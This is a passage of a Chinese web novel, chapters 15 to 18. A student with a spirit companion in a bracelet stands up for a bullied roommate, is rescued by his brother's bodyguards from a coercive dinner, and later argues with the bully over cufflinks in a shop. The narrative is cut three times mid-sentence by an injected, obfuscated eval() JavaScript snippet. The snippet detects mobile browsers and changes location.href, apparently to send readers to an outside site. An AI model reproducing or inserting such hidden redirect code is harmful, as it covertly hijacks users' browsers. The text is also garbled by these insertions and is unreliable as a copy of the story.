谢静川看着乌宜不知将什么东西塞进了包里,然后就顶着那张漂亮张扬的小脸露出个嘲弄的表情。 “让你们清醒清醒的意思呗,都十二点了还赖在床上,要人家正常作息的摸黑,还不让出声音,你们怎么不住棺材房里呢?” 床上的两人瞬间怒了,谢静川听着他们发躁,一时都愣住了。 可乌宜丝毫不惧,走到窗边掀开帘子,外头的日光撒入一室,两个打赤膊的青年遮住眼睛,怒意翻滚。 “你有病吧你?” 另一个更是抓着栏杆就要下来找乌宜算账,谢静川看了眼细胳膊细腿的乌宜,正犹豫着上前。那人踩在床架上的脚就忽然滑了一下,整个人栽在地上,皮肉和地板发出沉闷的碰撞声。 “……” 顿时,宿舍里只剩他痛苦的呻吟。 床上另一个人也愣住了,原本要掀开被子下去的动作也跟着顿住。 乌宜轻哼一声:“下个楼梯都不会下,这么废物还在这叫,不要把晦气沾在我身上了。” 谢静川:“……” 外形这么精致可爱的男生,怎么会说出这么刺耳的话。 15.第 15 章 “你给我等着!” 那人艰难爬起来,抱着胳膊坐下,表情还因为疼痛而显得格外狰狞。 又是这句话,乌宜控制住想翻白眼的冲动,“嗯嗯,我等。” 这句话出现频率怎么会这么高,他都要听腻了。 不等他去找谢静川,一叠薄薄的纸币就被递到了他面前。 “原本是想送到店里的,但最近兼职走不开,本来准备周末再过去,今天直接给你吧。”谢静川脸上没有太多的表情,只是脸上的疲惫掩盖不住,“谢谢你之前帮我,他们没有找你麻烦吧。” 乌宜伸手接过,还当着他的面数了数,确定数字没错才摇摇头,“没有吧,我都没去过店里了。” 谢静川皱皱眉头,好像有点担心,“他们如果要找你麻烦的话,应该会查到你是我们学校的人,你最近还是少在学校出没比较好。” 反正他也不住校,下了课就可以早一点离开。 “不行哦。”乌宜实话实说,如果谢静川达标的话,他还得帮卿烛盯着呢,少不了要来学校。 但看见面前青年紧张起来的神情,他还是宽慰了一句:“没关系的,我不怕。” 话音刚落,卿烛便洞悉了他的想法,低声道:“他身上念力不强,你确定感应到了?” “……” 什么! 乌宜不可置信,他转过身假装去翻看自己的背包,实际却是在和卿烛对话。 “怎么可能?他被这么多人欺负,每天还要打这么多兼职,累成这样肯定是生活困难,这都没念力吗?” “不强,不代表没有。” “那怎么办?” 方才还得意洋洋的小脸立马沉了下来,不高兴的很明显。 卿烛似乎不是很想安慰他。 “我们加个好友吧,如果之后你有什么需要帮忙的地方,不介意的话都可以找我。” 谢静川的声音有些小心,乌宜回过神来,发现他居然还站在自己身后,眉眼间流露出困惑,但还是掏出了手机。 “好吧。” 现在不强,说不定以后就强了呢,多个朋友多条路嘛。 乌宜尽力安慰自己,通过好友申请以后还很好脾气地抬起头,冲着谢静川露出个笑脸。 谢静川见状怔了怔,嘴唇微张想说些什么,可宿舍门却再次被敲响。 不同于乌宜最开始的礼貌叩门,这次的声音砰砰作响,简直是砸门了,根本不用出去看就能知晓外来人的敌意。 那个捂着胳膊的室友听见这声音,却像是复活了一般,容光焕发地站起身来,迫不及待就去开了门。 乌宜狐疑地看着另一个瘫痪在床上的室友也生龙活虎地跳了下来,脸上的期待和狗腿简直要溢出来。 可惜来的人似乎并不是他们想要的,见到人以后,两人的笑脸都有不同程度的僵硬,但还是让他们进来了。 “哟,还正好凑一块了,秦哥不查我还不知道,那家店的老板居然还是我们学校的大一新生,家里挺有钱啊,难怪那么装逼。” 熟悉的嘲讽声伴随脚步走近响起。 乌宜原本就因为找错了对象烦得很,听见这阴阳怪气心里更反感了。 他冷着脸回头,面前那几个前来挑衅的人一对上他,却莫名都愣了一下。 宿舍难得窗帘大开,日光从窗外晒进来,将屋子里映得格外亮堂,而站在床架过道间的少年皮肤白皙,即使是他们这么一群糙人,也能看出那面容的漂亮之处。 不同于店里戴着口罩,乌宜今天连围巾都没围,极具有生气的冷淡面容反而更衬出一种别样的感觉。 瞬间安静下来,不知是谁吸了口气,发出感叹。 “我靠,他到底男的女的。” 乌宜闻言终于忍不住,翻了个大大的白眼。 这些人其实小学还没毕业吧,到底为什么一个个都这么幼稚啊。 最前面的人听了这句,也嗤笑起来,应和道:“说不定是个人妖呢,这么爱多管闲事,就看看他到底是男是女。” 乌宜:“……你们有病吧?”说话前真的完全不过脑子吗?说的话到底有没有一点逻辑。 说着,原先在甜品店刁难谢静川的两个男人就走了过来,分明是欺负同学,却摆出一副为民除害的表情。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442550|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静川犹豫一下,还是挡在了乌宜的面前。 “我们之间的事情,干嘛要牵连别人?这段时间你们让我做什么,我不是也都做了吗?能不能别再逼我了!” 一屋子人都被他忽然的爆发惊到了,但很快有人哈哈大笑。 “喂,你在逞什么英雄,以为这里有妹子吗?” “……” 下一秒,所有人的目光都落在了乌宜身上,就连谢静川都做了个转头到一半顿住的动作。 卿烛轻笑了声,说:“念力强了点。” 乌宜的脸色白了又红,不自觉暴躁起来,“我不要管他了,说不定念力这种东西真的要虐一虐才会有,我们不该干涉这个过程的。” 知晓他只是在说气话,卿烛并没有半点表示。 果然,在那几人耀武扬威往宿舍里挤,还跟谢静川推搡起来时,乌宜还是忍不住沉了脸。 他虽然爱说些气话,但往往也不会真的付诸行动。 不需他开口,屋内便刮起一阵狂风,许久无人打扫的窗台被卷起厚重的灰尘,连带着阳台上堆成山的袜子一并卷在地上。 站在前面的人被这阵无名风迷了眼,一下没了耐心,上前就揪住了谢静川的衣领将他扯开。 可手还未碰到乌宜的衣角,眼睛就火烧火燎般泛起了剧痛,后面的人也猛地打起了喷嚏。 “靠,什么东西啊?” “你们宿舍有毒吧,什么味这么难闻。” “你讲点卫生行吗?别对着我。” 乌宜嫌弃地撇撇嘴,正思考着要不要将谢静川一起带离寝室,就听见卿烛接了话。 “他念力不够,不用继续浪费时间了。” “不是说会慢慢增强吗?”乌宜有些迟疑,抬头看了看谢静川的背影。 听着一屋子人粗俗吵闹的说话声,卿烛似乎也没了什么耐心,说:“你这样护着他,怎么增强?” 乌宜微怔,恍然明白了他的意思。 可是……在这种时候忽然丢下谢静川,好像也是一件很困难的事情。 即使身材高大挡在他面前,可是怎么看,谢静川现在都是很可怜的。 16.第 16 章 谢静川的两个舍友看着吹落一地的脏袜子内裤,表情都有些尴尬,但此时也只能硬着头皮将话题转移回重点。 “先别管这些了,谢静川刚才还跟我们动手呢。” 其中一人说着,将肿胀的手臂举起,展示给中间那人看。 “我……”谢静川攥紧拳头。 乌宜还是看不下去:“你自己没踩稳从床架上掉下来也能怨别人吗?到底要不要脸啊。” 他向来不是会扯着嗓子说话的性格,所以在这么一屋子大嗓门里,显得又乖又轻,没什么气势。 非但没威慑到在场的人,反而让大家的表情都变得微妙起来。 “所以到底和你有什么关系?”有人说了这么一句,可语气却丝毫不冲。 “……” 乌宜一时间居然还真被他给问住了。 “我见义勇为还不行吗?你们这样在宿舍里欺负同学,我告诉宿管。” 这告老师的行为显然也有些幼稚,在场几人露出嘲弄的表情,为首的人正想要说什么,不大的空间里却炸开了突兀的手机铃声。 是最近短视频最火的歌,乌宜一直觉得好土,这会儿越听小脸就皱的越紧。 好没有品味的人。 为首的人伸手用力在谢静川面前点了点,“你别急,等着。” 他将电话接起,表情有了很明显的转变,最后不知那边的人说了什么,他迟疑着看了眼谢静川和挡在后面的乌宜。 “对,他在这呢,还有306那个乌宜也在,都去吗?行……我问问吧。” 他挂电话的功夫,乌宜正好奇着,就见谢静川忽然回过头来,面色紧张。 “一会儿王昊如果让我们都去,你到楼下就赶紧跑,别跟我们一起过去。” “王昊?” 意识到他居然不知道自己在说谁,谢静川的表情变得古怪,“就是为首的那个。” 乌宜明白了,探出脑袋看了眼最前面那个嘴最脏的,这个人也就是当初在甜品店逼着谢静川回学校取钱的人。 挂完电话,王昊便趾高气扬转向他们,“走吧,秦哥请你们去吃饭。” 谢静川面露隐忍:“我今天下午还有兼职。” “哟,现在是连秦哥的面子都不给了,我看你是越来越不知好歹了,不会是因为……”王昊的目光又下意识落在了乌宜的身上,“怎么?有旁人在,就开始维持自己的脸面了?当初求着秦哥宽限还钱日子的时候,怎么没见你这么硬气啊。” 谢静川紧紧攥着拳头。 乌宜撇撇嘴:“车轱辘话来回说,太暴露智商了吧,就不能一次到位吗?” 王昊没听清他猫叫似的声音,“你说什么?” 谢静川正想阻止,乌宜却躲开了他要抓自己手臂的动作,直接上前一步。 “我就是搞不懂你们啊,要去就去呗,如果是为了解决问题,为什么不能想一个两全的方法,非要在这里吵来吵去呢。” 这话说的太理直气壮,在场的人盯着他那张不耐烦的脸,居然也将脾气压了下去。 “什么办法?轮得着你们说吗。” “你兼职几点?”乌宜转向谢静川。 “四点要到。” “那我们现在赶紧去吃不就行了,吃完早点走,皆大欢喜。”乌宜觉得很完美。 王昊都没想到,自己还没逼着他去,他自己就想好了计划。 谢静川的表情更是震惊,他比谁都清楚,这种局就是特意为他设下的鸿门宴,自从入学不小心惹到了这些公子哥,他就再也没了好日子,现在对于这些手段更了解不过了。 而乌宜今天为他出了头,以后还不一定会怎么被他们整呢。 难道他真的以为吃饭就只是一桌子人坐在一起吃顿饭吗? 他心情复杂,王昊却是乐得自在。 “乌宜说的没错啊,那我们现在就出发呗,车已经到楼下了。” 短短的时间里,乌宜心里已经有了想法,便插着兜从他们腾出的位置走出门。 “走就走吧,是去哪里?太差的我可不吃。” “放心,秦哥向来是在轩味坊请我们吃东西,那可是云京一顶一的餐厅。” 王昊不知何时追在了他身后,虽然还拿着架子,但笑容总显得有那么一点谄媚,让乌宜不是很舒服。 “这个人笑得好丑哦。” 他跟卿烛吐槽。 卿烛:“…… 你等会还得跟他坐在同一张桌子上吃饭。” 乌宜又扭头看了看王昊满脸的痘痘,嫌弃地撇开脑袋。 忽然有点后悔是怎么回事。 王昊他们的车果然开到了楼下,但只有两辆小破车,乌宜本来就被宿舍的臭袜子味道熏得难受,这会儿只是看了一眼,便立马远离了敞开的车门。 “怎么不上车?不会准备偷偷跑路吧?”丑陋的王昊站在边上盯着他,眼神宛若一条鬣狗。 乌宜抱臂冷哼。 好在不多时,有人开着一辆干净的跑车停在门口,王昊说那是那位秦哥的座驾。 其他混混明显跃跃欲试,但王昊借口盯人,将乌宜和谢静川赶上了这辆车。 乌宜坐在副驾驶,对干净整洁的车内还算满意,只是内饰的颜色太古怪,一眼都不想看,上车他便转头望向窗外。 这副排斥的姿态,落在后座王昊的眼中,便是十足的胆怯。 他哼笑一声:“不会是害怕了吧?放心,我们不会把你怎么样,这次本来也就是秦哥想找谢静川,你要是说点好听的,以后随叫随到,刚才的事情我们就不追究了。” 乌宜冲着窗户翻了个大大的白眼。 不等他开口,口袋里的手机开始嗡嗡震动,他伸手摸出来,发现是傅流晔打来的电话。 眼睛微亮,他接起电话。 “怎么啦?” 傅流晔的声音温和:“下课没有,公司附近开了家泰餐味道不错,过来吃吗?” 乌宜有点馋,但还是如实回答:“我和同学去轩味坊吃呢,他们说那边的饭菜也很好吃。” “轩味坊?”傅流晔似乎没听过。 “嗯嗯,等我吃完再来接我吧,我下午……” 乌宜还没说完,后面的王昊就不耐烦了。 “你跟谁打电话呢?不会要喊人来带你走吧?真胆小。” 他的激将法蠢得很,乌宜不上当,转头瞪他一眼。 “我在跟我哥哥打电话呢,你插什么嘴?” 车上还有两个人,王昊脸上挂不住:“你自身都难保了,还在这冲我吼,一会有你好看的。” 乌宜哼一声,转回去继续打电话。 傅流晔隐约听见他们那边的对话,语气变得严肃:“小宜,你跟谁在一起吃饭?” “就是同学啊,有一个是我的室友,他被欺负了,我帮他出头。”乌宜说着,还觉得很骄傲。 傅流晔沉默两秒,深深吸了口气,“等到了把包间号发给我,你一个人怎么行?” “哦,没事的,等到了再说吧。” 乌宜倒是没有危机感,答应完便将电话挂掉了,毕竟还有卿烛在呢,现在他又不会动不动休眠。 对吧? 他摸了摸镯子,却没有半点动静,心猛地提起。 “卿卿!” 不会吧,在这种时候掉链子! 着急催了一路,抵达目的地要下车时,乌宜拉着脸想哭了,才听见迟来的回应声。 “露出这副表情,刚才拒绝我的时候不是很硬气吗?” 听见他似笑非笑的声音,乌宜这才复活了。 “你吓死我了!” 他拒绝卿烛的反感是因为心里过意不去,觉得那样对谢静川不太公平,他哪里就像心这么狠的人了。 卿烛很轻地笑了声。 轩味坊和王昊说的一样富丽堂皇,进门的中式屏风繁琐而华贵,显然价值不菲,服务生将他们指引到包间门口,一行人乌泱泱进去,立马衬得古色古香的餐厅像是精神小伙聚集所。 “都到了,找位置坐吧,坐不下的就去大厅。” 一道懒洋洋的声线传来,隐约间还带着点倦意。 乌宜插着兜跟在后面,瞧见王昊跟大哥手下的一号狗腿子似的,将几个人安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456968|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排到了大厅。 “秦哥昨晚又没睡好啊,去哪野了这是。” “还不是家里那些破事,越到年底越忙,我妈还整天想让我早点去公司实习,也不看看我现在每天多忙。”说到一半,他打了个哈欠,像是想起什么,“对了,那小子呢?” 王昊几人立马散开,露出了跟在后面的谢静川和乌宜。 “在这呢,还有替他出头的这小子,听说我们要来轩味坊吃饭,想也不想就跟来了。” 乌宜:“……” 秦一帆闻言哈哈大笑,显然把他当成了一颗见钱眼开的墙头草,装模作样朝着门口瞥来,视线定格在乌宜身上后,却很明显地怔了一下。 “你……” 王昊见状表情一变,“秦哥,你跟他认识?” “不认识。”男人回过劲来,“只是之前在学校门口看见你上了辆迈巴赫,还以为是哪家有钱的小公子,敢情也是那类攀土豪的。” “……” 乌宜不想听他们瞎扯,转头看了看,自己找个位置坐下。 “什么时候上菜?我饿了。” 他说的理所应当,王昊都被惊了一下,不料秦一帆却笑了起来,“行,服务员上菜吧,咱们边吃边说。” 期待了一路的菜式上了桌,乌宜旁若无人地拿起筷子夹菜,可吃了几口却倍感失望,直接撂了筷。 “好难吃。” 谢静川就坐在他身边,听了这话脸都白了一下。 其他人也一直朝着这个方向打量,王昊擦擦汗,去打量秦哥的表情,却见他非但没生气,反而饶有兴致地盯着乌宜,那眼神显然不太对。 该不会…… 王昊有些惊讶,从前也没听说过秦哥好这口啊,从前交的不都是女朋友吗? “不合口味的话,你看看菜单,点些自己喜欢吃的。” 乌宜用纸巾擦了擦嘴角,却是摇摇头:“不要,这么普通的菜都做的这么难吃,厨师肯定不行。” 秦一帆笑了:“你还挺会吃,你那位经常带你出去吃吧。” 那位? 乌宜狐疑地看他一眼,不想说话。 “那既然你不想吃饭,我们就先算算账吧。”秦一帆见他回避,便也放下了筷子。 他这样直白,正和乌宜的意。 “我今天来,就是想问你们,到底怎么样才能放过谢静川?如果是因为那部手机的钱,我可以先给你们。” 谢静川听着他丝毫不露怯的谈判,放在膝盖上的手逐渐收紧。 秦一帆闻言笑了笑:“我可不要钱,如果你真想替他摆平这件事,能不能帮我一个忙?只要你愿意,不仅是谢静川,以后连同你在云京也能横着走。” “……” 好装逼哦。 乌宜默默吐槽,决定大发慈悲听一听他的忙。 圆桌对面的人笑容变得微妙。 “我认识一个有权有势的人,他特别喜欢交朋友,尤其是你这种外型很漂亮时髦的年轻男孩,而且呢,他是个很慷慨的人,如果你们成了好朋友的话,他肯定会给你不少好处的。” 乌宜微蹙眉头,隐约察觉到好像哪里不对,可是一时间又说不上来。 “乌宜。”谢静川的脸色变得很难看,可他刚开口,边上的王昊就抓住了他的肩膀,威胁之意分明。 “我不要。” 乌宜斩钉截铁的拒绝出乎在座人的预料,秦哥的脸色也沉了沉。 “为什么?” “我不想认识新朋友,而且还是你的朋友,肯定人品也很差。” 桌上有人倒吸了口气。 “这可由不得你。”秦一帆冲着王昊递了个眼神,两侧的人便猛然起身,倒像是要来制住乌宜。 “我今晚替你约个时间……” 他话音未落,桌边扑通两声,是要去抓乌宜的两人不知为何狠狠摔倒在地,掀起地毯上的尘,狼狈无比。 乌宜丝毫不慌,端坐在位置上,正张口想要说什么。 下一秒,包间门被猛地推开,穿着黑西装的保镖齐刷刷冲了进来,将一屋子学生给吓了一跳。 17.第 17 章 秦一帆脸色变得难看,乌宜却是整理一下外套,施施然站起,冲来人露出个灿烂的笑容。 看见乌宜安然无恙,傅流晔才松了口气,但脸上还是没有往日的温和,多了几分严肃。 “好吃吗?” 乌宜撇撇嘴,依旧是毫无遮掩的吐槽,“难吃死了,还没有岑阿姨做的好吃。” 傅流晔忍不住笑,揉了揉他的脑袋,“晚上去吃我说的那家。” “嗯嗯!” 回过劲来,秦一帆才终于拍桌而起,“你们是谁?” 不等傅流晔开口,乌宜便道:“是我哥哥,怎么了?谁让你先不讲道理的。” 秦一帆脸一阵红一阵白,看着满屋子明显专业的高大保镖,再看看乌宜身边那个气质不凡的男人,忽然间想到了什么。 “呵呵,是情哥哥吧。” 傅流晔:“……” 卿烛:“……” 乌宜:“……什么东西?” 在他还未反应过来时,秦一帆好似已经确定了什么,颇为倨傲地转向傅流晔,面向这个年纪明显比自己大不少的男人,虽然有些底气不足但并不显得畏缩。 “这位先生,你有话就好好说,莫名其妙喊这么些人进来做什么?砸场子吗?” 傅流晔听完他方才的话,脸色已经完全沉了下来。 “你是谁家的少爷,在学校里也敢这样耀武扬威。” 按理来说,秦一帆这时候就该自报家门,张扬自己有多厉害了。 可乌宜却见他表情变得犹豫不决,反而像是不敢说。 这就被吓到了? 他觉得有些惊喜,扭头看向傅流晔,眼神里头又多了点点崇拜。 在场的这么一群人都是自己的小弟,秦一帆自然也不会露怯,只道:“和你有什么关系?我倒是想问问你,到别人这里砸场子是什么居心?有话不能好好说吗?” “你这排场也不是好好说话的意思吧。” 傅流晔不喜欢和这种人多废话,侧首看了眼身后的保镖,只是一个眼神,那人便瞥了眼秦一帆,然后离开了包间。 “你要干什么?”秦一帆微微眯起眼睛。 傅流晔淡道:“你不愿意说,我也有别的渠道能知道。” “……” 一旁的王昊哪见过这种场面,但在他心里秦哥就是最厉害的,于是这会儿站在他身边,不改硬气。 “你们尽管去打听,我们秦哥在整个云京也是横着走的。” 傅流晔很轻地笑了一下,连一个眼神都没给他,而是垂眸望向正在慢吞吞将外套穿起来的乌宜。 “这里空气不好,带着你的同学去楼下等着,哥哥处理完下来。” 秦一帆猛地拍桌:“我看谁敢走!” 没人搭理他的话,乌宜把外套拉链撤好,也乖乖招呼着谢静川走了。 两侧的人还想挡住他的去路,却被忽然逼近的保镖架在中间,没办法过去。 谢静川还有些忐忑,但看了眼乌宜哥哥的模样,又觉得很是可靠,所以还是跟着他出去了。 今天阳光不错,乌宜出了门站在车前,眯着眼睛抬头,想到了什么。 “好暖啊,早知道就不出门,陪岑阿姨在花园里吃点心好了。” 谢静川听见他的嘟囔,还以为是在抱怨自己,不免歉疚,“不好意思,是我的事情耽误你的时间了。” “没事啊,还挺有意思的,要是不来,我还不知道云京有这么难吃的餐厅。” “……” 乌宜看着他的大大的黑眼圈,后知后觉感受到了自己的鲁莽。 “卿卿,他现在状态怎么样?” “没变化。” 懒懒的语气,明显不太想和他说话。 乌宜有些沮丧,“没事,就当做好事啦,毕竟是室友诶。” “今天的事情真的麻烦你了,但是……真的不用管我的事情。”谢静川缓和过来心情,苦笑一下,“我跟他们已经这样相处很久,都已经习惯了。” 乌宜不甚在意地招招手:“没事啦,都是小事情。” 他是真的不觉得这件事麻烦,反正他又没干嘛,只是要麻烦傅流晔。 可他没发现,身边的谢静川听完这话以后,缓慢地抬起眼看向他,眸中的情绪复杂而又晦涩。 “谢谢你。” 他重复这样多遍,乌宜却都没记在心里,低着头回复手机消息,只是含糊点了点头。 不多时,傅流晔下了楼,招呼乌宜上车。 谢静川还想问问关于自己的事情,可又有些过意不去,正站在窗外纠结,便见坐在后座玩手机的乌宜忽然抬起头,摇了摇傅流晔的手臂。 “谢静川下午四点还有兼职。” 傅流晔自然明白他的意思,看向了谢静川,“你坐后面的车,他们送你去。” 谢静川受宠若惊,只能连连道谢。 车缓缓驶离,傅流晔从后视镜中看见那青年上了车,才收回目光,扭头看向乌宜。 “小宜,你和他很熟悉吗?” 乌宜唔一声,连头都没抬起来。 “不熟啊,就见过几次吧。” “那你这么帮他。”傅流晔想到什么,“是他的身上也有那种力量?” “卿烛说有一点点,没什么用的。” 傅流晔点了头,看起来好像松了一口气。 “对了,事情已经解决了,他们应该不会再找你那位同学的麻烦。” 乌宜:“真的吗?那太好了!” 傅流晔欲言又止,“你知道他们为什么要孤立谢静川吗?” “嗯嗯,因为谢静川不小心搞坏了那个人的手机,听说是最新款的,要一万多块钱。”乌宜想了想,又回想起来什么,“哦对了,还有一个可能!” 傅流晔耐心听着:“嗯?” “有可能是因为谢静川是gay!” “……” 傅流晔的表情逐渐微妙复杂,艰难地将目光落在满脸单纯的乌宜身上,总觉得违和。 “你不会不知道gay是什么吧?” 乌宜惊喜地睁大眼睛,手机也不玩了,抓住他的手臂就要炫耀自己有限的知识储备。 傅流晔没给他这个机会,轻咳一声拍拍他的手背。 “我知道,不用解释。” “你真的知道吗?gay就是男生喜欢男生,谢静川喜欢跟男生谈恋爱,所以那些丑八怪自以为是,怕他看上他们,他们也不照照镜子,长成那样谁搭理啊……” 他小嘴叭叭一个劲吐槽,却不知晓傅流晔心中的百感交集。 “嗯嗯,我知道。” 听他还要继续,傅流晔只得转移话题。 “小宜也念大学了,有没有谈恋爱的打算?” “你怎么也问这个啊。”乌宜一下子垮了脸,“我可不谈。” 傅流晔难得见他憋屈,故意追问:“为什么?是卿先生不让你谈吗?” 他问这个完全是因为从见到乌宜以后就没察觉到那道黑影,以为卿烛今没和乌宜一同出来。 结果话音刚落,淡淡的雾气便从那截伶仃细白的手腕扩散开,像是在彰显自己的存在感。 傅流晔:“……” “那倒不是,卿卿才不管这些呢,只是我没有喜欢的人。”乌宜靠在柔软的座椅里哼哼唧唧,“我是单身主义者!” “是吗?”傅流晔想笑,“你还知道这个呢。” “嗯哼,我看别人说太孤独才需要谈恋爱,我从来不觉得无聊的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463108|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>傅流晔觉得他说出的话还是有些孩子气,情不自禁伸手揉了揉他的脑袋,“是,你最独立了。” 不过……乌宜从来不觉得孤单,也是因为卿先生一直陪在他身边吧。 傅流晔收回手,算着今天还未处理完的工作行程,却并不觉得烦躁,相反,和乌宜待在一起时,他总是觉得心情能很快放松下来。 难不成和卿先生在一起待久了,他的身上也有某种安抚人心的魔力吗? - 之后的一段时间,乌宜陪着岑阿姨逛了一大圈,还计划了年底的旅行。 傅流晔让助理参与了几场拍卖,替乌宜购下了几件藏品级别的珠宝,惹得乌宜更是无暇顾及其他,他是个爱显摆的,拍了照群发给朋友,收获一圈赞美。 可惜每一次他去问卿烛,都只能获得同样的回复。 岑阿姨在家闲着没事做,看着乌宜将新项链戴在脖子上拍照。 “小宜,你有没有发在社交平台上,阿姨去给你点赞推荐一下。” 乌宜眼睛微亮:“有啊,我在微博和小红书上面都有账号哦,但是我发了好久,都只有几个粉丝。” 岑悦对这一块最是了解,立马要了乌宜的账号,只是看了几条,便知道为什么乌宜的账号没有热度了。 “小宜,你这几条内容都有点违规呢,会影响账号权重的,而且文案不太吸引人,我教你要怎么发。” 乌宜乖乖坐到她边上,学了要怎么编辑文案和P图,一天下来受益匪浅。 他对于新事物的热情总是能维持很久,所以很长的一段时间里都在练习,不舍地将自己的账号内容清空,注册了一个新的。 “岑阿姨说账号要有定位,你说我给自己定什么位呢?” 卿烛:“下雨不会往家跑的笨蛋。” “……”乌宜腾出手,用力捏了捏手镯,“你好烦。” 他哪里就笨了。 认真搜索半天,他发现豪门少爷这种人设最近很火。 “我也要这个人设。” 卿烛:“被拆穿了就身败名裂。” “可是我本来就是小少爷啊。”乌宜没有半点自知之明,“岑阿姨说她就是我的妈妈,傅流晔说他就是我的哥哥,而且我还有你啊,你是我的打手。” 卿烛:“……” 乌宜又开始嘻嘻嘻,“我只是开个玩笑,卿卿。” 卿烛照例沉默逗他。 乌宜还要哄,走着抬头却见自己要找的店已经到了。 被柜姐迎进去,乌宜看着琳琅满目的商品,不知道该挑什么。 “你说我买什么送给傅流晔好呢?” 过段时间就是傅流晔的生日,他最近设计好了生日蛋糕,才想起来礼物都还没有买,今天特意偷偷带着卿烛出来买。 卿烛没理会他,倒是柜姐很热情,询问了收礼人的年龄和风格,便开始了推荐。 “饰品的话这几款都很合适呢,需要出席正式场合的话,袖扣和领带夹肯定是需要的。” 乌宜没多久便相中了几款,但都觉得不够漂亮。 “有没有贵一点的啊。” 柜姐面露惊讶,很有职业素养地笑着点点头,将他迎到了另一面柜台。 乌宜一眼便相中了一款祖母绿珠宝镶嵌的袖扣,他记得傅流晔有一套很好看的西装,搭配这个应该很合适。 “我要看看这个。” 柜姐正转到里面将其取出,乌宜拿起认真打量,越看越满意。 “我要这……” “等等,这款我不是提前预约过了吗?” 一道熟悉的男生由远及近,慵懒而又张扬。 乌宜转头便见秦一帆朝着他走来,身后还有个看起来比他稍大几岁,穿着运动服的女人。 18.第 18 章 乌宜连一个眼神都没递过去,继续重复:“我要这个,给我包起来。” “秦公子。”柜姐看了看秦一帆,面露为难。 乌宜还垂着眸看袖口上的漂亮宝石,半天没听见动静,不耐烦地掀起眼皮看过去,“干嘛?不是我先来的吗?” “怎么回事?还抢起来了。”秦一帆后面的女人闻声也走了过来。 她扫了眼乌宜拿着的袖扣。 柜姐尴尬道:“这是限量款,我们这只有一份,但的确是这位客人先到的,秦公子是什么时候预定过?” “怎么?你还怀疑我骗你。” 秦一帆也没想到今天会在这遇见乌宜,瞧他还拿着那副袖扣看来看去,气就不打一处来。 自从那天被傅流晔教训以后,不知是谁将风声传到了他爷爷耳中,这些天他一直在家关禁闭,卡也全被停了。 好不容易趁着姐姐出来逛街,才得以呼吸一口新鲜空气,谁知道冤家路窄,居然远远就瞧见乌宜在这逛,手上还拿着他早就想要的袖扣,他好不容易压下去的火又噌的一下冒起来了。 乌宜撇撇嘴:“你不会是没提前订,故意要跟我抢吧,你这么大人了怎么这么幼稚啊。” “你——” “好了,不就是一对装饰品吗?你家里不是多得很,非要这对吗?”秦似锦不耐烦地说完,又转向乌宜,“这位小朋友,我弟弟也很喜欢这个,如果你愿意割爱的话,可以再选另一样,我们送你,好吗?” “不好。” 秦似锦一怔,没想到他会这么果断地拒绝。 “我先来的,我先看中的,凭什么给你呢。” 乌宜又仔仔细细端详了那袖扣一会儿,越看越满意,然后推到了柜姐面前,“帮我包起来,还有刚才的钱包,帮我包装好看一点,我要送人的。” 柜姐纠结地看了眼秦家姐弟。 秦一帆上前一步,冷冷看着乌宜:“我说了是我先看中的,而且我是这家的Vic,有优先权。” “哦,我也有啊。”乌宜面不改色,报了岑悦的名字。 秦似锦听见他报的名字怔了一下,心里立马有了权衡。 “好的,这边结账,我替您打包。” 乌宜高高兴兴去付了钱,还挑衅地看了眼满脸不忿的秦一帆。 “今天这么硬气。”卿烛忽然笑了声。 乌宜立马恢复了那副小傲娇的表情,矜持道:“毕竟我现在的人设是豪门小公子,怎么能受气呢?” 还挺入戏。 见他就要走,秦一帆气不过了:“姐,我要这个!” 秦似锦有些头疼,看着自己弟弟这几天在家待得消瘦,还是过意不去,礼貌地继续同乌宜交涉。 “这位朋友,我弟弟真的很喜欢这个,如果可以的话……” “不行,我都说了好几遍了。”乌宜被他们这么一纠缠,也没了耐心,“干什么啊?你们要抢东西吗?” 秦似锦被他这么一说也来了火气。 “我不是在好好和你说吗?” “我说了,不给!” 乌宜难得冷了脸,等柜姐打包完东西出来,他才拎上准备走。 “姐,你就这么让他走了。” 秦一帆目眦欲裂,不顾秦似锦解释,便忍不住追了出去。 “他还有完没完啦。”乌宜一个头两个大,不知道自己怎么就招惹上了这个麻烦。 卿烛只是让他走。 乌宜也不想再搭理秦一帆这个神经病了,索性放弃了扶梯,直接跑到直梯去。 谁料他前脚刚走进去,电梯门就被一只手给扒住。 受到阻拦,电梯门缓缓打开,秦一帆阴沉难看的脸色出现在乌宜面前。 乌宜鼓鼓脸颊,不太高兴。 “他不会要打我吧。” 卿烛:“……” 心底难得升起了点危机感,谁料秦一帆一个你字刚出口,就忽然顿住了。 